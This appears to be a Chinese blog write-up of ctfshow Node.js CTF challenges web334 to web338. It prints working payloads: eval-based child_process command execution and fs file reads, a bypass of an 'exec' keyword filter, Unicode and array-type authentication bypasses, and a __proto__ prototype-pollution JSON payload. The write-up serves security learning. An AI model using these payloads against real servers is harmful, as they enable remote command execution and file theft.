ctfshow node.js

web334

下载附件后解压

有两个文件:login.js user.js

1
2
3
4
5
6
//login.js
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
1
2
3
4
5
6
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

name不能为CTFSHOW

但是登录需要usename为CTFSHOW,password为123456

toUpperCase()可以将小写转换成大写。

1
2
toUpperCase() 函数,字符 ı 会转变为 I ,字符 ſ 会变为 S 。
toLowerCase() 函数中,字符 İ 会转变为 i ,字符 K 会转变为 k 。

用username=ctfshow和password=123456绕过

web335

源码发现

image-20240308205948224

尝试eval=ls结果404找不到文件

测试eval=1输出1

1
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function
1
2
Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
eval函数的参数中可以构造require('child_process').exec('');来进行调用。

构建image-20240308210842812

返回 [object Object]

https://nodejs.cn/api/child_process.html

image-20240308210942024

1
2
3
4
5
6
7
8
9
10
11
法一:系统命令
?eval=require('child_process').execSync('ls')
?eval=require('child_process').spawnSync('ls').output
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout
?eval=require('child_process').execFileSync('ls')
?eval=require('child_process').execFileSync('ls',['-a'])
//execFileSync只能执行ls之类,cat不了文件

法二:文件操作
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl00g.txt')

image-20240308211731102

发现fl00g.txt,直接cat

web336

法一

exec被屏蔽,利用其它函数绕过

1
2
3
4
5
?eval=require('child_process').spawnSync('ls').output
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).output

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt')

法二

1
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

传?eval=__filename可以看到路径为/app/routes/index.js

然后传eval=require(‘fs’).readFileSync(‘/app/routes/index.js’,’utf-8’)可以发现过滤了exec和load

用%2B代替+绕过

1
require("child_process")['exe'%2B'cSync']('ls')

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

判断存在a,b,a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型判断)

构造数组绕过

1
2
?a[]=1&b[]=1
?a[]=1&b=1

web338

login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;

不难看出让secert.ctfshow==='36dboy'即可获取flag

利用函数copy,这是一个递归调用函数,for循环遍历object2当中的key(键),如果这个键在object1与object2当中都存在,则调用copy(object1[key], object2[key]),否则让object1[key] = object2[key]

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

原型链污染https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

通过操作user变量,达到原型链污染

payload:

1
{"__proto__":{"ctfshow":"36dboy"}}

object2{"__proto__":{"ctfshow":"36dboy"}}会发生什么(注意本题当中object1为secret变量)

由于object1和object2的对象都具有属性__proto__,进入if语句为true,执行

1
copy(object1[__proto__], object2[__proto__])

此时let key in object2keyctfshow很明显object1当中没有,所以进入else部分

1
object1[ctfshow] = object2[ctfshow]`,成功赋值为`36dboy

ctfshow node.js
http://example.com/2024/03/08/刷题/ctfshow-node-js/
作者
Englobe
发布于
2024年3月8日
许可协议